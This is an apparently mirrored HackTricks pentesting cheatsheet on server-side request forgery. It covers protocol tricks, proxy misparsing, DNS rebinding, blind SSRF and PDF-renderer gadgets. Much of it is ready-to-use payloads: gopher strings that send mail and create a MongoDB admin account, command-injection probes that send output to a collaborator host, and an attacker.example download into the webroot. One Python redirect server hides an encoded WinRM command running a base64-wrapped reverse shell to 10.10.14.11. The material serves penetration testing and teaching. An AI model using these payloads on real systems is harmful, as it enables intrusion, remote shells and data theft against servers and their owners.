daemon-sec-cheatsheet

overview.md (36412B)

---

 ---
 title: "SSRF (Server Side Request Forgery)"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/README.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/README.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: true
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # SSRF (Server Side Request Forgery)
 
 ## Basic Information
 
 A **Server-side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a **server-side application** into making **HTTP requests** to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.
 
 ### GeoNetwork SLD tool SSRF
 
 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork)
 
 ## Capture SSRF
 
 The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as:
 
 - **Burp Collaborator**
 - [**pingb**](http://pingb.in)
 - [**canarytokens**](https://canarytokens.org/generate)
 - [**interractsh**](https://github.com/projectdiscovery/interactsh)
 - [**http://webhook.site**](http://webhook.site)
 - [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
 - [http://requestrepo.com/](http://requestrepo.com/)
 - [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
 - [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - A Burp Collaborator using ngrok
 
 ## Whitelisted Domains Bypass
 
 Usually you will find that the SSRF is only working in **certain whitelisted domains** or URL. In the following page you have a **compilation of techniques to try to bypass that whitelist**:
 
 
 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass)
 
 ### Bypass via open redirect
 
 If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\
 Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)<sup>[[14]](#references)</sup>
 
 ## Protocols
 
 - **file://**
   - The URL scheme `file://` is referenced, pointing directly to `/etc/passwd`: `file:///etc/passwd`
 - **dict://**
   - The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
 - **SFTP://**
   - Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: `url=sftp://generic.com:11111/`
 - **TFTP://**
   - Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
 - **LDAP://**
   - This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
 - **SMTP**
   - A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.<sup>[[1]](#references)[[2]](#references)</sup>
 
 ```text
 From https://twitter.com/har1sec/status/1182255952055164929
 1. connect with SSRF on smtp localhost:25
 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
 4. connect
 ```
 
 - **Curl URL globbing - WAF bypass**
   - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/urls/globbing.html) that can help bypass WAFs. This [writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) demonstrates it in a **path traversal through the `file` protocol**:<sup>[[13]](#references)[[15]](#references)</sup>
 
 ```text
 file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
 ```
 
 - **Gopher://**
   - The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:
 
 ### Gopher://
 
 Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\
 Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services.
 
 **Gopher smtp**
 
 ```text
 ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
 will make a request like
 HELO localhost
 MAIL FROM:<hacker@site.com>
 RCPT TO:<victim@site.com>
 DATA
 From: [Hacker] <hacker@site.com>
 To: <victime@site.com>
 Date: Tue, 15 Sep 2017 17:20:26 -0400
 Subject: Ah Ah AHYou didn't say the magic word !
 .
 QUIT
 ```
 
 **Gopher HTTP**
 
 ```bash
 #For new lines you can use %0A, %0D%0A
 gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
 gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
 ```
 
 **Gopher SMTP — Back connect to 1337**
 
 ```php
 <?php
 header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
 ?>Now query it.
 https://example.com/?q=http://evil.com/redirect.php.
 ```
 
 #### Gopher MongoDB -- Create user with username=admin with password=admin123 and with permission=administrator
 
 ```bash
 # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
 curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
 %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
 %00%00administrator%00%00%00%00'
 ```
 
 ## SSRF via Referrer header & Others
 
 Analytics software on servers often logs the Referrer header to track incoming links, a practice that inadvertently exposes applications to Server-Side Request Forgery (SSRF) vulnerabilities. This is because such software may visit external URLs mentioned in the Referrer header to analyze referral site content. To uncover these vulnerabilities, the Burp Suite plugin "**Collaborator Everywhere**" is advised, leveraging the way analytics tools process the Referer header to identify potential SSRF attack surfaces.
 
 ## SSRF via SNI data from certificate
 
 A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:<sup>[[3]](#references)</sup>
 
 ```text
 stream {
     server {
         listen 443;
         resolver 127.0.0.11;
         proxy_pass $ssl_preread_server_name:443;
         ssl_preread on;
     }
 }
 ```
 
 In this configuration, the value from the Server Name Indication (SNI) field is directly utilized as the backend's address. This setup exposes a vulnerability to Server-Side Request Forgery (SSRF), which can be exploited by merely specifying the desired IP address or domain name in the SNI field. An exploitation example to force a connection to an arbitrary backend, such as `internal.host.com`, using the `openssl` command is given below:
 
 ```bash
 openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
 ```
 
 ## SSRF via TLS AIA CA Issuers (Java mTLS)
 
 Some TLS stacks will auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In **Java**, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate **during the handshake**, before any HTTP logic runs.<sup>[[6]](#references)[[7]](#references)</sup>
 
 - **Requirements**: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
 - **Triggering SSRF** (Java 21 example):
   ```bash
   java -Djava.security.debug=certpath \
        -Dcom.sun.security.enableAIAcaIssuers=true \
        -Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
   # Attacker cert AIA: http://localhost:8080
   nc -l 8080 -k                      # observe the outbound fetch
   curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
   ```
   The Java certpath debug output shows `CertStore URI:http://localhost:8080`, and `nc` captures the HTTP request with the controllable `User-Agent` from `-Dhttp.agent`, proving SSRF during certificate validation.
 - **DoS via file://**: setting AIA CA Issuers to `file:///dev/urandom` on Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects.
 
 ## SSRF via CSS Pre-Processors
 
 LESS is a CSS preprocessor that adds variables, mixins, functions, and the `@import` directive. In an SSRF context, a server-side LESS compiler is especially interesting because `@import (inline)` makes the compiler **fetch a referenced resource and embed its response** in the generated stylesheet. An attacker who controls imported LESS can therefore turn compilation into a server-originated request.
 
 Check how to exploit it in:
 
 [Less Code Injection](/hacktricks/pentesting-web/xs-search/css-injection/less-code-injection)
 
 
 ## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick)
 
 ## SSRF with Command Injection
 
 It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
 
 ## PDFs Rendering
 
 If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here**](/hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf)**.**
 
 ## From SSRF to DoS
 
 Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
 
 ## SSRF PHP Functions
 
 Check the following page for vulnerable PHP and even Wordpress functions:
 
 
 [Php Ssrf](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf)
 
 ## SSRF Redirect to Gopher
 
 For some exploitations you might need to **send a redirect response** (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
 
 ```python
 # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
 from http.server import HTTPServer, BaseHTTPRequestHandler
 import ssl
 
 class MainHandler(BaseHTTPRequestHandler):
     def do_GET(self):
         print("GET")
         self.send_response(301)
         self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
         self.end_headers()
 
 httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
 httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
 httpd.serve_forever()
 ```
 
 ```python
 from flask import Flask, redirect
 from urllib.parse import quote
 app = Flask(__name__)
 
 @app.route('/')
 def root():
     return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
 
 if __name__ == "__main__":
     app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ```
 
 ## Misconfigured proxies to SSRF
 
 Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).<sup>[[4]](#references)</sup>
 
 ### Flask
 
 <details>
 
 <summary>Flask proxy vulnerable code</summary>
 
 ```python
 from flask import Flask
 from requests import get
 
 app = Flask('__main__')
 SITE_NAME = 'https://google.com'
 
 @app.route('/', defaults={'path': ''})
 @app.route('/<path:path>')
 
 def proxy(path):
   return get(f'{SITE_NAME}{path}').content
 
 if __name__ == "__main__":
     app.run(threaded=False)
 ```
 
 </details>
 
 Flask allows to use **`@`** as initial character, which allows to make the **initial host name the username** and inject a new one. Attack request:
 
 ```http
 GET @evildomain.com/ HTTP/1.1
 Host: target.com
 Connection: close
 ```
 
 ### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
 
 Vulnerable code:
 
 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281201%29.png" alt=""><figcaption></figcaption></figure>
 
 It was discovered that It's possible to **start the path** of a request with character **`;`** which allows to use then **`@`** and inject a new host to access. Attack request:
 
 ```http
 GET ;@evil.com/url HTTP/1.1
 Host: target.com
 Connection: close
 ```
 
 ### PHP Built-in Web Server <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
 
 <details>
 
 <summary>Vulnerable PHP code</summary>
 
 ```php
 <?php
 $site = "http://ifconfig.me";
 $current_uri = $_SERVER['REQUEST_URI'];
 
 $proxy_site = $site.$current_uri;
 var_dump($proxy_site);
 
 echo "\n\n";
 
 $response = file_get_contents($proxy_site);
 var_dump($response);
 ?>
 ```
 
 </details>
 
 PHP allows the use of the **char `*` before a slash in the path** of the URL, however, it has other limitations like that it can only be used for the root pathname `/` and that dots `.` are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example:
 
 ```http
 GET *@0xa9fea9fe/ HTTP/1.1
 Host: target.com
 Connection: close
 ```
 
 ### Reverse proxies that accept absolute URLs in the request line (open forward-proxy)
 
 Some reverse proxies also accept **absolute-form request lines** (`GET http://10.0.0.5:8080/path HTTP/1.1`) and forward the URL as-is to a backend instead of rejecting it or rewriting it to the configured upstream. This turns the reverse proxy into a **pre-auth forward proxy with full-read SSRF**, including access to `localhost`-bound services that would normally be unreachable from the Internet.<sup>[[8]](#references)</sup>
 
 Key points:
 - **Request line controls destination**: the authority in the absolute URL overrides normal routing; the `Host` header is usually ignored.
 - **Full response returned**: responses from internal hosts are streamed back, so you can enumerate and interact (e.g., SOAP/Axis2, Keycloak, admin consoles) rather than blind-probing.
 - **Works on localhost**: `GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n` is enough to hit loopback-only listeners.
 - **Abuse as pivot**: combine with other vulns (e.g., upload endpoints) to reach intra-host services.
 
 Minimal probe:
 
 ```http
 GET http://127.0.0.1:8080/ HTTP/1.1
 Host: whatever
 Connection: close
 ```
 
 If you see the upstream response instead of a 400, the appliance is acting as an open proxy.
 
 ## DNS Rebidding CORS/SOP bypass
 
 If you are having **problems** to **exfiltrate content from a local IP** because of **CORS/SOP**, **DNS Rebidding** can be used to bypass that limitation:
 
 
 [Cors Bypass](/hacktricks/pentesting-web/cors-bypass)
 
 ### Automated DNS Rebidding
 
 [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
 
 Check out also the **publicly running server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
 
 ## DNS Rebidding + TLS Session ID/Session ticket
 
 Requirements:
 
 - **SSRF**
 - **Outbound TLS sessions**
 - **Stuff on local ports**
 
 Attack:
 
 1. Ask the user/bot **access** a **domain** controlled by the **attacker**
 2. The **TTL** of the **DNS** is **0** sec (so the victim will check the IP of the domain again soon)
 3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**.
 4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain.
 5. In the DNS request a **private IP** address is given **now** (127.0.0.1 for example)
 6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID (where the **payload** of the attacker was contained). So congratulations you managed to ask the **user/bot attack himself**.
 
 Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the **port must always be the same**).\
 To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
 For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)<sup>[[16]](#references)</sup>
 
 ## Blind SSRF
 
 The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
 
 ### Time based SSRF
 
 **Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
 
 ### From blid to full abusing status codes
 
 According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.<sup>[[12]](#references)</sup>
 
 However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application **follow these redirects while entering an error mode** that no longer will check the format of the data and might just print it.
 
 The python server used to exploit this is th following:
 
 ```python
 @app.route("/redir")
 def redir():
     count = int(request.args.get("count", 0)) + 1
     # Pump out 305, 306, 307, 308, 309, 310 ...
     weird_status = 301 + count
     if count >= 10:                      # after 5 “weird” codes
         return redirect(METADATA_URL, 302)
     return redirect(f"/redir?count={count}", weird_status)
 
 @app.route("/start")
 def start():
     return redirect("/redir", 302)
 ```
 
 **Steps:**
 - First 302 gets the app to start following.
 - Then it receives 305 → 306 → 307 → 308 → 309 → 310.
 - After the 5th strange code the PoC finally returns 302 → 169.254.169.254 → 200 OK.
 
 **What happens inside the target:**
 - libcurl itself does follow 305–310; it just normalises unknown codes to “follow.”
 - After N weird redirects (≥ 5 here) the application’s own wrapper decides “something is off” and switches to an error mode meant for debugging.
 - In that mode it dumps the entire redirect chain plus final body back to the outside caller.
 - Result: attacker sees every header + the metadata JSON, mission accomplished.
 
 Note that this is interesting to leak status codes that you couldn't leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), **there might be some status codes that directly leak the content of the response.**
 
 ### HTML-to-PDF renderers as blind SSRF gadgets
 
 Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `<img>` or `<link rel="stylesheet">` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.<sup>[[5]](#references)</sup>
 
 ```text
 <html>
   <body>
     <img width="1" height="1" src="http://127.0.0.1:8080/healthz">
     <link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
   </body>
 </html>
 ```
 
 - TCPDF 6.10.0 issues several retrieval attempts for each `<img>` resource, so a single payload can generate multiple requests (helpful for timing-based port scans).
 - html2pdf copies TCPDF’s behaviour for `<img>` and adds CSS fetching inside `Css::extractStyle()`, which simply calls `file_get_contents($href)` after a shallow scheme check. Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints.
 - Combine this SSRF primitive with the [HTML-to-PDF path traversal tricks](/hacktricks/pentesting-web/file-inclusion/overview#html-to-pdf-svgimg-path-traversal) to leak both internal HTTP responses and local files rendered into the PDF.
 
 Hardeners should strip external URLs before rendering or isolate the renderer in a network sandbox; until then, treat PDF generators as blind SSRF proxies.
 
 ## Filename mini-languages as SSRF/file primitives (CFITSIO EFS)
 
 Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like SSRF-capable interpreters, not like safe file open calls.
 
 A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:<sup>[[9]](#references)[[10]](#references)</sup>
 
 - **Persistent SSRF / forced download**: URL-like prefixes (`http://`, `https://`, `ftp://`, `ftps://`) make CFITSIO fetch remote content. The **outfile** syntax then writes the response body to a local path controlled by the attacker:
 
 ```bash
 https://attacker.example/payload(/var/www/html/grabbed.bin)
 ```
 
   This is stronger than blind SSRF because the fetched bytes are persisted locally and can be chained with later file retrieval, cache poisoning, or webroot writes.
